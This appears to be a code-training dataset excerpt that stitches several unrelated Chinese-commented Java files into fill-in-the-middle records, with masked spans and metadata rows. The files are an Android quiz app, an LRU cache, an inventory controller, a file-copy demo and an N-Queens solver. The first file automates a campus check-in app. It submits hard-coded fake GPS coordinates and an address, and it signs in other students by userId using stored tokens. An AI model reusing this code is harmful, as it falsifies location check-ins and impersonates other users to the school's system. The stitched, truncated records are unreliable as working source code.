* 创建HttpRequest对象
*/
private HttpRequest createHttpRequest(ApiInfo apiInfo,UserInfo userInfo) {
//请求方法和请求url
HttpRequest request = request = apiInfo.getMethod().equals(ApiConstant.METHOD_GET)?HttpRequest.get(apiInfo.getUrl()):HttpRequest.post(apiInfo.getUrl());
//报文头
request.contentType(apiInfo.getContenttype());
//token
request.header("token", userInfo.getToken().trim());//总有混蛋 带空格存进来
return request;
}
}
| Duangdi/fuck-wozaixiaoyuan | src/main/java/com/fuckwzxy/util/SendUtil.java | 1,384 | //得到返回的JSON并解析 | line_comment | zh-cn | package com.fuckwzxy.util;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import cn.hutool.json.JSONArray;
import cn.hutool.json.JSONObject;
import cn.hutool.json.JSONUtil;
import com.fuckwzxy.bean.ApiInfo;
import com.fuckwzxy.bean.SignMessage;
import com.fuckwzxy.bean.UserInfo;
import com.fuckwzxy.common.ApiConstant;
import lombok.extern.slf4j.Slf4j;
import org.springframework.scheduling.annotation.Async;
import org.springframework.stereotype.Component;
import javax.sound.midi.Soundbank;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* @author wzh
* 2020/9/23 19:15
*/
@Component
@Slf4j
public class SendUtil {
@Async
public void sendCheckRequest(UserInfo userInfo, ApiInfo apiInfo, int seq) {
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//body
request.body(apiInfo.getBody().replace("seq=3", "seq=" + seq));
//return body
request.execute();
}
/**
* 获取签到的id和logId
*
* @param userInfo user
* @param getSignMessageApiInfo 接口
*/
public SignMessage getSignMessage(UserInfo userInfo, ApiInfo getSignMessageApiInfo) {
HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo);
//参数
request.form("page", 1);
request.form("size", 5);
//得到返回的JSON并解析
String body = request.execute().body();
JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(0);
return new SignMessage((String) data.getObj("id"), (String) data.get("logId"));
}
@Async
public void sendSignRequest(UserInfo userInfo, ApiInfo signApiInfo, SignMessage signMessage) {
HttpRequest request = createHttpRequest(signApiInfo,userInfo);
//JSON data
JSONObject data = new JSONObject();
data.set("id", signMessage.getLogId());
data.set("signId", signMessage.getId());
data.set("latitude", "23.090164");
data.set("longitude", "113.354053");
data.set("country", "中国");
data.set("province", "广东省");
data.set("district", "海珠区");
data.set("township", "官洲街道");
data.set("city", "广州市");
request.body(data.toString());
request.execute();
}
public String GetJSON(UserInfo userInfo, ApiInfo getSignMessageApiInfo) {
HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo);
//参数
request.form("page", 1);
request.form("size", 5);
//得到 <SUF>
String body = request.execute().body();
return body;
}
public boolean needCheck(ApiInfo apiInfo,UserInfo userInfo, int seq){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
HttpResponse response = request.execute();
String body = response.body();
if(!JSONUtil.parseObj(body).containsKey("data")) return false;
JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(seq-1);
return Integer.parseInt(data.get("type").toString()) == 0;
}
public List<String> getAllNoSign(ApiInfo apiInfo,UserInfo userInfo, int seq){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//body
SimpleDateFormat df = new SimpleDateFormat("yyyyMMdd");// 设置日期格式
String date = df.format(new Date());
String httpbody = apiInfo.getBody().replace("seq=3", "seq=" + seq);
httpbody = httpbody.replace("date=20201030","date="+date);
request.body(httpbody);
String body = request.execute().body();
if(!JSONUtil.parseObj(body).containsKey("data") ){
return null;
}else{
List<String> list = new ArrayList<>();
JSONArray arr = (JSONArray) JSONUtil.parseObj(body).get("data");
for (int i = 0; i < arr.size() ; i++) {
JSONObject stu = (JSONObject) arr.get(i);
list.add((String) stu.get("userId"));
}
return list;
}
}
public void replaceSign(ApiInfo apiInfo,UserInfo userInfo, int seq,String userId){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//body
String httpbody = apiInfo.getBody().replace("seq=", "seq=" + seq);
httpbody = httpbody.replace("userId=","userId="+userId);
request.body(httpbody);
//return body
request.execute();
}
public boolean JudgeTokenIsValid(ApiInfo apiInfo,UserInfo userInfo){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//得到返回的JSON并解析
String body = request.execute().body();
if(JSONUtil.parseObj(body).containsKey("data")) return true;
else return false;
}
/**
* 创建HttpRequest对象
*/
private HttpRequest createHttpRequest(ApiInfo apiInfo,UserInfo userInfo) {
//请求方法和请求url
HttpRequest request = request = apiInfo.getMethod().equals(ApiConstant.METHOD_GET)?HttpRequest.get(apiInfo.getUrl()):HttpRequest.post(apiInfo.getUrl());
//报文头
request.contentType(apiInfo.getContenttype());
//token
request.header("token", userInfo.getToken().trim());//总有混蛋 带空格存进来
return request;
}
}
| 1 | 14 | 1 |
36283_1 | package com.boring.duanqifeng.tku;
/* 段其沣于2017年10月9日
在四川大学江安校区创建
*/
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
public class Leibie extends AppCompatActivity {
SharedPreferences sharedPreferences;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_leibie);
//每种类别的题目数
sharedPreferences = getSharedPreferences("TMS",MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.putInt("gjs_danx",79);
editor.putInt("gjs_dx",102);
editor.putInt("gjs_pd",191);
editor.putInt("jbz_danx",60);
editor.putInt("jbz_dx",54);
editor.putInt("jbz_lw",3);
editor.putInt("jbz_pd",124);
editor.putInt("jcjs_danx",47);
editor.putInt("jcjs_dx",31);
editor.putInt("jcjs_pd",58);
editor.putInt("jl_danx",91);
editor.putInt("jl_dx",21);
editor.putInt("jl_pd",110);
editor.putInt("jsll_danx",386);
editor.putInt("jsll_dx",41);
editor.putInt("jsll_pd",42);
editor.putInt("nw_danx",84);
editor.putInt("nw_dx",111);
editor.putInt("nw_pd",18);
editor.putInt("nw_lw",262);
editor.putInt("xljc_danx",39);
editor.putInt("xljc_dx",45);
editor.putInt("xljc_pd",29);
editor.putInt("zzjc_danx",24);
editor.putInt("zzjc_dx",37);
editor.putInt("zzjc_pd",42);
editor.putInt("dl_danx",91);
editor.putInt("dl_dx",18);
editor.putInt("dl_pd",394);
editor.apply();
Button 内务 = (Button) findViewById(R.id.内务);
Button 队列 = (Button) findViewById(R.id.队列);
Button 纪律 = (Button) findViewById(R.id.纪律);
Button 军兵种 = (Button) findViewById(R.id.军兵种);
Button 军事理论 = (Button) findViewById(R.id.军事理论);
Button 军事高技术 = (Button) findViewById(R.id.军事高技术);
Button 军队基层建设 = (Button) findViewById(R.id.军队基层建设);
Button 训练基础理论 = (Button) findViewById(R.id.训练基础理论);
Button 作战基础知识 = (Button) findViewById(R.id.作战基础知识);
Button 模拟考试 = (Button) findViewById(R.id.kaoShi);
Button 错题集 = (Button) findViewById(R.id.cuoTi);
内务.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Neiwu.class));
}
});
队列.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Duilie.class));
}
});
纪律.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jilv.class));
}
});
军兵种.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jbz.class));
}
});
军事理论.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jsll.class));
}
});
军事高技术.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Gjs.class));
}
});
军队基层建设.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jcjs.class));
}
});
训练基础理论.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Xljc.class));
}
});
作战基础知识.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Zzjc.class));
}
});
模拟考试.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Moni.class));
}
});
错题集.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Cuotiji.class));
}
});
}
}
| Duanxiaoer/Android_TKU | app/src/main/java/com/boring/duanqifeng/tku/Leibie.java | 1,362 | //每种类别的题目数 | line_comment | zh-cn | package com.boring.duanqifeng.tku;
/* 段其沣于2017年10月9日
在四川大学江安校区创建
*/
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
public class Leibie extends AppCompatActivity {
SharedPreferences sharedPreferences;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_leibie);
//每种 <SUF>
sharedPreferences = getSharedPreferences("TMS",MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.putInt("gjs_danx",79);
editor.putInt("gjs_dx",102);
editor.putInt("gjs_pd",191);
editor.putInt("jbz_danx",60);
editor.putInt("jbz_dx",54);
editor.putInt("jbz_lw",3);
editor.putInt("jbz_pd",124);
editor.putInt("jcjs_danx",47);
editor.putInt("jcjs_dx",31);
editor.putInt("jcjs_pd",58);
editor.putInt("jl_danx",91);
editor.putInt("jl_dx",21);
editor.putInt("jl_pd",110);
editor.putInt("jsll_danx",386);
editor.putInt("jsll_dx",41);
editor.putInt("jsll_pd",42);
editor.putInt("nw_danx",84);
editor.putInt("nw_dx",111);
editor.putInt("nw_pd",18);
editor.putInt("nw_lw",262);
editor.putInt("xljc_danx",39);
editor.putInt("xljc_dx",45);
editor.putInt("xljc_pd",29);
editor.putInt("zzjc_danx",24);
editor.putInt("zzjc_dx",37);
editor.putInt("zzjc_pd",42);
editor.putInt("dl_danx",91);
editor.putInt("dl_dx",18);
editor.putInt("dl_pd",394);
editor.apply();
Button 内务 = (Button) findViewById(R.id.内务);
Button 队列 = (Button) findViewById(R.id.队列);
Button 纪律 = (Button) findViewById(R.id.纪律);
Button 军兵种 = (Button) findViewById(R.id.军兵种);
Button 军事理论 = (Button) findViewById(R.id.军事理论);
Button 军事高技术 = (Button) findViewById(R.id.军事高技术);
Button 军队基层建设 = (Button) findViewById(R.id.军队基层建设);
Button 训练基础理论 = (Button) findViewById(R.id.训练基础理论);
Button 作战基础知识 = (Button) findViewById(R.id.作战基础知识);
Button 模拟考试 = (Button) findViewById(R.id.kaoShi);
Button 错题集 = (Button) findViewById(R.id.cuoTi);
内务.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Neiwu.class));
}
});
队列.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Duilie.class));
}
});
纪律.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jilv.class));
}
});
军兵种.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jbz.class));
}
});
军事理论.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jsll.class));
}
});
军事高技术.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Gjs.class));
}
});
军队基层建设.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Jcjs.class));
}
});
训练基础理论.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Xljc.class));
}
});
作战基础知识.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Zzjc.class));
}
});
模拟考试.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Moni.class));
}
});
错题集.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(Leibie.this,Cuotiji.class));
}
});
}
}
| 1 | 10 | 1 |
15495_0 | /**
* LRU least recently used 最近最少使用,是一种常见的页面置换算法。
* 以下的LRU,可以实现O(1)时间复杂度的插入,删除和查询功能。
* 通过map去查询节点,并在节点中缓存该节点pre和next节点,进行插入和删除
*
* */
import java.util.HashMap;
import java.util.Map;
public class LRU<K, V> {
Node<K,V> head;
Node<K,V> tail;
int size;
int capacity;
Map<K, Node<K,V>> map;
class Node<K,V> {
Node pre;
Node next;
K key;
V value;
Node() {}
Node(K key, V value) {
this.key = key;
this.value = value;
}
Node(K key, V value, Node pre, Node next) {
this.key = key;
this.value = value;
this.pre = pre;
this.next = next;
}
}
public LRU(int capacity) {
this.capacity = capacity;
this.size = 0;
map = new HashMap<>();
head = new Node<K,V>();
tail = new Node<K,V>();
head.next = tail;
tail.pre = head;
}
public V get(K key) {
Node<K,V> node = map.getOrDefault(key, null);
if(node != null) {
removeNode(node);
insertToTail(node);
}
return node==null ? null : node.value;
}
public void put(K key, V value) {
remove(key);
Node<K,V> node = new Node(key,value);
insertToTail(node);
if(size>capacity) {
removeNode(head.next);
}
}
public int remove(K key) {
Node node = map.getOrDefault(key, null);
if(node == null) {
return -1;
}
removeNode(node);
return 0;
}
private void insertToTail(Node<K,V> node) {
tail.pre.next = node;
node.pre = tail.pre;
node.next = tail;
tail.pre = node;
map.put(node.key, node);
size++;
}
private void removeNode(Node<K,V> node) {
map.remove(node.key);
node.pre.next = node.next;
node.next.pre = node.pre;
size--;
}
public void printLRU() {
Node node = head;
System.out.println("print current lru: ");
while(node.next != tail) {
System.out.print(node.next.value.toString() + " ");
node = node.next;
}
System.out.println();
}
public static void main(String[] args) {
System.out.println("Hello world!");
LRU<Integer, String> lru = new LRU<>(3);
lru.put(1,"hello");
lru.printLRU();
lru.put(2, "world");
lru.printLRU();
lru.put(3, "lru");
lru.printLRU();
lru.put(4, "java");
lru.printLRU();
lru.get(1);
lru.printLRU();
lru.get(4);
lru.printLRU();
}
}
| Dudadi/algorithm | LRU.java | 826 | /**
* LRU least recently used 最近最少使用,是一种常见的页面置换算法。
* 以下的LRU,可以实现O(1)时间复杂度的插入,删除和查询功能。
* 通过map去查询节点,并在节点中缓存该节点pre和next节点,进行插入和删除
*
* */ | block_comment | zh-cn | /**
* LRU <SUF>*/
import java.util.HashMap;
import java.util.Map;
public class LRU<K, V> {
Node<K,V> head;
Node<K,V> tail;
int size;
int capacity;
Map<K, Node<K,V>> map;
class Node<K,V> {
Node pre;
Node next;
K key;
V value;
Node() {}
Node(K key, V value) {
this.key = key;
this.value = value;
}
Node(K key, V value, Node pre, Node next) {
this.key = key;
this.value = value;
this.pre = pre;
this.next = next;
}
}
public LRU(int capacity) {
this.capacity = capacity;
this.size = 0;
map = new HashMap<>();
head = new Node<K,V>();
tail = new Node<K,V>();
head.next = tail;
tail.pre = head;
}
public V get(K key) {
Node<K,V> node = map.getOrDefault(key, null);
if(node != null) {
removeNode(node);
insertToTail(node);
}
return node==null ? null : node.value;
}
public void put(K key, V value) {
remove(key);
Node<K,V> node = new Node(key,value);
insertToTail(node);
if(size>capacity) {
removeNode(head.next);
}
}
public int remove(K key) {
Node node = map.getOrDefault(key, null);
if(node == null) {
return -1;
}
removeNode(node);
return 0;
}
private void insertToTail(Node<K,V> node) {
tail.pre.next = node;
node.pre = tail.pre;
node.next = tail;
tail.pre = node;
map.put(node.key, node);
size++;
}
private void removeNode(Node<K,V> node) {
map.remove(node.key);
node.pre.next = node.next;
node.next.pre = node.pre;
size--;
}
public void printLRU() {
Node node = head;
System.out.println("print current lru: ");
while(node.next != tail) {
System.out.print(node.next.value.toString() + " ");
node = node.next;
}
System.out.println();
}
public static void main(String[] args) {
System.out.println("Hello world!");
LRU<Integer, String> lru = new LRU<>(3);
lru.put(1,"hello");
lru.printLRU();
lru.put(2, "world");
lru.printLRU();
lru.put(3, "lru");
lru.printLRU();
lru.put(4, "java");
lru.printLRU();
lru.get(1);
lru.printLRU();
lru.get(4);
lru.printLRU();
}
}
| 0 | 139 | 0 |
33092_8 | package net.messi.early.controller;
import net.messi.early.request.ProductInventoryCacheRefreshRequest;
import net.messi.early.request.ProductInventoryDBUpdateRequest;
import net.messi.early.request.Request;
import net.messi.early.service.GoodsService;
import net.messi.early.service.ProductInventoryService;
import net.messi.early.service.RequestAsyncProcessService;
import net.messi.early.utils.JSONResult;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("inventory")
public class ProductInventoryController {
@Autowired
private GoodsService goodsService;
@Autowired
private RequestAsyncProcessService requestAsyncProcessService;
@Autowired
private ProductInventoryService productInventoryService;
/**
* 更新缓存
*
* @param goodsId
* @param inventoryCnt
* @return
*/
@ResponseBody
@RequestMapping("/updateInventory")
public JSONResult updateInventory(Integer goodsId) {
try {
Request request = new ProductInventoryDBUpdateRequest(goodsId, goodsService);
requestAsyncProcessService.process(request);
} catch (Exception e) {
e.printStackTrace();
}
return JSONResult.ok();
}
/**
* 获取商品库存的缓存
*
* @param goodsId
* @return
*/
@ResponseBody
@RequestMapping("/getInventory")
public JSONResult getInventory(Integer goodsId) {
try {
Request request = new ProductInventoryCacheRefreshRequest(goodsId, goodsService);
requestAsyncProcessService.process(request);
long startTime = System.currentTimeMillis();
long endTime = 0L;
long waitTime = 0L;
Integer inventoryCnt = 0;
//将请求仍给service异步处理以后,就需要while(true)一会儿,在这里hang住
//去尝试等待前面有商品库存更新的操作,同时缓存刷新的操作,将最新的数据刷新到缓存中
while (true) {
if (waitTime > 200) {
break;
}
//尝试去redis中读取一次商品库存的缓存
inventoryCnt = productInventoryService.getProductInventoryCache(goodsId);
//如果读取到了结果,那么就返回
if (inventoryCnt != null) {
return new JSONResult(inventoryCnt);
} else {
//如果没有读取到
Thread.sleep(20);
endTime = System.currentTimeMillis();
waitTime = endTime - startTime;
}
}
//直接从数据库查询
inventoryCnt = goodsService.lasteInventory(goodsId);
if (inventoryCnt != null)
return new JSONResult(inventoryCnt);
} catch (Exception e) {
e.printStackTrace();
}
//没有查到
return JSONResult.ok(new Long(-1L));
}
}
| DuncanPlayer/quickearly | controller/ProductInventoryController.java | 684 | //没有查到 | line_comment | zh-cn | package net.messi.early.controller;
import net.messi.early.request.ProductInventoryCacheRefreshRequest;
import net.messi.early.request.ProductInventoryDBUpdateRequest;
import net.messi.early.request.Request;
import net.messi.early.service.GoodsService;
import net.messi.early.service.ProductInventoryService;
import net.messi.early.service.RequestAsyncProcessService;
import net.messi.early.utils.JSONResult;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("inventory")
public class ProductInventoryController {
@Autowired
private GoodsService goodsService;
@Autowired
private RequestAsyncProcessService requestAsyncProcessService;
@Autowired
private ProductInventoryService productInventoryService;
/**
* 更新缓存
*
* @param goodsId
* @param inventoryCnt
* @return
*/
@ResponseBody
@RequestMapping("/updateInventory")
public JSONResult updateInventory(Integer goodsId) {
try {
Request request = new ProductInventoryDBUpdateRequest(goodsId, goodsService);
requestAsyncProcessService.process(request);
} catch (Exception e) {
e.printStackTrace();
}
return JSONResult.ok();
}
/**
* 获取商品库存的缓存
*
* @param goodsId
* @return
*/
@ResponseBody
@RequestMapping("/getInventory")
public JSONResult getInventory(Integer goodsId) {
try {
Request request = new ProductInventoryCacheRefreshRequest(goodsId, goodsService);
requestAsyncProcessService.process(request);
long startTime = System.currentTimeMillis();
long endTime = 0L;
long waitTime = 0L;
Integer inventoryCnt = 0;
//将请求仍给service异步处理以后,就需要while(true)一会儿,在这里hang住
//去尝试等待前面有商品库存更新的操作,同时缓存刷新的操作,将最新的数据刷新到缓存中
while (true) {
if (waitTime > 200) {
break;
}
//尝试去redis中读取一次商品库存的缓存
inventoryCnt = productInventoryService.getProductInventoryCache(goodsId);
//如果读取到了结果,那么就返回
if (inventoryCnt != null) {
return new JSONResult(inventoryCnt);
} else {
//如果没有读取到
Thread.sleep(20);
endTime = System.currentTimeMillis();
waitTime = endTime - startTime;
}
}
//直接从数据库查询
inventoryCnt = goodsService.lasteInventory(goodsId);
if (inventoryCnt != null)
return new JSONResult(inventoryCnt);
} catch (Exception e) {
e.printStackTrace();
}
//没有 <SUF>
return JSONResult.ok(new Long(-1L));
}
}
| 1 | 6 | 1 |
31852_9 | /**
* <p>Title: ByteTest.java</p>
* <p>Description: </p>
* <p>Copyright: Copyright (c) 2014</p>
* <p>Company: ColdWorks</p>
* @author xuming
* @date 2014-8-13
* @version 1.0
*/
package com.imgupload.web.action;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* <p>Title: ByteTest.java</p>
* <p>Description: </p>
* <p>Copyright: Copyright (c) 2014</p>
* <p>Company: ColdWorks</p>
* @author xuming
* @date 2014-8-13
* Email: vip6ming@126.com
*/
public class ByteTest {
public static void main(String[] args) {
// byte b[] = new byte[20];
// b[0] = 97;
// String str = "a bc";
// //b = str.getBytes();
// for(byte be: b) {
// System.out.print(be + " ");
// }
//文件读取与写入,测试下读出来的到底什么。a->97.
getByte();
}
/**
* 文件的读取与写入
*
* 1.文件的读取与写入都是以二进制流的形式来进行的。
* 当文件很大,便不能一次性的全部读入到内存中进行操作,这时就需要需要一个缓冲区来存放这些数据,缓冲区满了
* 就将这些数据写入到目标文件。再将新数据写入缓冲区,如此往复,直到全部读取完毕。
* 2.缓冲区。
* 使用byte数组(byte[] buffer = new byte[4*1024];)设置缓存区的大小对文件的读取写入速度是有影响的,
* 但不是越大越大,值过大会引起内存溢出。(new byte[]操作是需要申请堆内存的,myeclipse默认情况下
* 80*1024*1024:80M就会java.lang.OutOfMemoryError: Java heap space )
* 3.编码。
* 如果读取的是文档类的,或是字符流,想要获取其中的文字,可以有 “new String(buffer)”.
* 有时会出现乱码,这时你需要确定两点:
* 1.文档或字符流的原本编码是否支持中文,编码格式为。
* 2.转换为字符串时设定字符编码为原编码格式相符。如:原编码为Unicode,则 new String(buffer, "Unicode");
* 另:
* 如果想要输出二进制,看看流原本的样子,Integer.toBinrayString(*);参数可以是char,byte等。
*
*/
/**
*
* @author xuming
*
* @param
*
* @return
*
* @date 2014-8-13
*/
public static void getByte() {
try {
File _file = new File("F://a.txt");
File _copyFile = new File("F://a_copy.txt");
// File _file = new File("F://img.jpg");
// File _copyFile = new File("F://img_copy.jpg");
FileInputStream in = new FileInputStream(_file);
FileOutputStream out = new FileOutputStream(_copyFile);
byte[] buffer = new byte[1*1024];
int i = 0;
String str = "";
StringBuffer sb = new StringBuffer("abc");
while ((i = in.read(buffer)) !=-1) {
// str = new String(buffer,0,i, "utf-8");
for(byte b: buffer) {
sb.append(b+" ");
}
str = new String(buffer,0,i);
System.out.println(buffer.length);
out.write(buffer, 0, i);
}
System.out.println(sb + " " + str);
// for(byte b: buffer) {
// sb.append(Integer.toBinaryString(b)+"");
// }
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
| DuoLife/Test_project | src/com/imgupload/web/action/ByteTest.java | 1,148 | /**
* 文件的读取与写入
*
* 1.文件的读取与写入都是以二进制流的形式来进行的。
* 当文件很大,便不能一次性的全部读入到内存中进行操作,这时就需要需要一个缓冲区来存放这些数据,缓冲区满了
* 就将这些数据写入到目标文件。再将新数据写入缓冲区,如此往复,直到全部读取完毕。
* 2.缓冲区。
* 使用byte数组(byte[] buffer = new byte[4*1024];)设置缓存区的大小对文件的读取写入速度是有影响的,
* 但不是越大越大,值过大会引起内存溢出。(new byte[]操作是需要申请堆内存的,myeclipse默认情况下
* 80*1024*1024:80M就会java.lang.OutOfMemoryError: Java heap space )
* 3.编码。
* 如果读取的是文档类的,或是字符流,想要获取其中的文字,可以有 “new String(buffer)”.
* 有时会出现乱码,这时你需要确定两点:
* 1.文档或字符流的原本编码是否支持中文,编码格式为。
* 2.转换为字符串时设定字符编码为原编码格式相符。如:原编码为Unicode,则 new String(buffer, "Unicode");
* 另:
* 如果想要输出二进制,看看流原本的样子,Integer.toBinrayString(*);参数可以是char,byte等。
*
*/ | block_comment | zh-cn | /**
* <p>Title: ByteTest.java</p>
* <p>Description: </p>
* <p>Copyright: Copyright (c) 2014</p>
* <p>Company: ColdWorks</p>
* @author xuming
* @date 2014-8-13
* @version 1.0
*/
package com.imgupload.web.action;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* <p>Title: ByteTest.java</p>
* <p>Description: </p>
* <p>Copyright: Copyright (c) 2014</p>
* <p>Company: ColdWorks</p>
* @author xuming
* @date 2014-8-13
* Email: vip6ming@126.com
*/
public class ByteTest {
public static void main(String[] args) {
// byte b[] = new byte[20];
// b[0] = 97;
// String str = "a bc";
// //b = str.getBytes();
// for(byte be: b) {
// System.out.print(be + " ");
// }
//文件读取与写入,测试下读出来的到底什么。a->97.
getByte();
}
/**
* 文件的 <SUF>*/
/**
*
* @author xuming
*
* @param
*
* @return
*
* @date 2014-8-13
*/
public static void getByte() {
try {
File _file = new File("F://a.txt");
File _copyFile = new File("F://a_copy.txt");
// File _file = new File("F://img.jpg");
// File _copyFile = new File("F://img_copy.jpg");
FileInputStream in = new FileInputStream(_file);
FileOutputStream out = new FileOutputStream(_copyFile);
byte[] buffer = new byte[1*1024];
int i = 0;
String str = "";
StringBuffer sb = new StringBuffer("abc");
while ((i = in.read(buffer)) !=-1) {
// str = new String(buffer,0,i, "utf-8");
for(byte b: buffer) {
sb.append(b+" ");
}
str = new String(buffer,0,i);
System.out.println(buffer.length);
out.write(buffer, 0, i);
}
System.out.println(sb + " " + str);
// for(byte b: buffer) {
// sb.append(Integer.toBinaryString(b)+"");
// }
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
| 0 | 651 | 0 |
39930_16 | //import java.util.ArrayList;
//import java.util.Arrays;
//import java.util.LinkedList;
//import java.util.List;
//
//
//
//public class l51 {
// public static void main(String[] args) {
// Solution1 solution = new Solution1();
// System.out.println(solution.solveNQueens(4));
// }
//}
//
//
//class Solution {
// List<List<String>> res = new ArrayList<>();
//
// public List<List<String>> solveNQueens(int n) {
// char[][] board = new char[n][n];
// for (char[] i : board){
// Arrays.fill(i,'.');
// }
// backtrack(board,0);
// return res;
// }
// // 路径:board 中小于 row 的那些行都已经成功放置了皇后
// // 选择列表:第 row 行的所有列都是放置皇后的选择
// // 结束条件:row 超过 board 的最后一行
// void backtrack(char[][] board, int row){
// if (row == board.length){
// res.add(array2List(board));
// return;
// }
//
// for (int j = 0;j<board.length;j++){
// if (!check(board,row,j)){
// continue;
// }
// board[row][j] = 'Q';
// backtrack(board,row+1);
// board[row][j] = '.';
// }
// }
//
// List<String> array2List(char[][] board){
// List<String> res = new LinkedList<>();
// for (char[] i : board){
// StringBuffer sb = new StringBuffer();
// for (char j : i){
// sb.append(j);
// }
// res.add(sb.toString());
// }
// return res;
// }
//
// boolean check(char[][] board,int row,int col){
// int n = board.length;
// // 检查列是否有皇后互相冲突
// for (int i = 0; i < n; i++) {
// if (board[i][col] == 'Q')
// return false;
// }
// // 检查右上方是否有皇后互相冲突
// for (int i = row - 1, j = col + 1;
// i >= 0 && j < n; i--, j++) {
// if (board[i][j] == 'Q')
// return false;
// }
// // 检查左上方是否有皇后互相冲突
// for (int i = row - 1, j = col - 1;
// i >= 0 && j >= 0; i--, j--) {
// if (board[i][j] == 'Q')
// return false;
// }
// return true;
// }
//
//
//}
| Dwsy/LeetCode-JavaTest | src/main/java/l51.java | 841 | // // 路径:board 中小于 row 的那些行都已经成功放置了皇后
| line_comment | zh-cn | //import java.util.ArrayList;
//import java.util.Arrays;
//import java.util.LinkedList;
//import java.util.List;
//
//
//
//public class l51 {
// public static void main(String[] args) {
// Solution1 solution = new Solution1();
// System.out.println(solution.solveNQueens(4));
// }
//}
//
//
//class Solution {
// List<List<String>> res = new ArrayList<>();
//
// public List<List<String>> solveNQueens(int n) {
// char[][] board = new char[n][n];
// for (char[] i : board){
// Arrays.fill(i,'.');
// }
// backtrack(board,0);
// return res;
// }
// // 路径 <SUF>
// // 选择列表:第 row 行的所有列都是放置皇后的选择
// // 结束条件:row 超过 board 的最后一行
// void backtrack(char[][] board, int row){
// if (row == board.length){
// res.add(array2List(board));
// return;
// }
//
// for (int j = 0;j<board.length;j++){
// if (!check(board,row,j)){
// continue;
// }
// board[row][j] = 'Q';
// backtrack(board,row+1);
// board[row][j] = '.';
// }
// }
//
// List<String> array2List(char[][] board){
// List<String> res = new LinkedList<>();
// for (char[] i : board){
// StringBuffer sb = new StringBuffer();
// for (char j : i){
// sb.append(j);
// }
// res.add(sb.toString());
// }
// return res;
// }
//
// boolean check(char[][] board,int row,int col){
// int n = board.length;
// // 检查列是否有皇后互相冲突
// for (int i = 0; i < n; i++) {
// if (board[i][col] == 'Q')
// return false;
// }
// // 检查右上方是否有皇后互相冲突
// for (int i = row - 1, j = col + 1;
// i >= 0 && j < n; i--, j++) {
// if (board[i][j] == 'Q')
// return false;
// }
// // 检查左上方是否有皇后互相冲突
// for (int i = row - 1, j = col - 1;
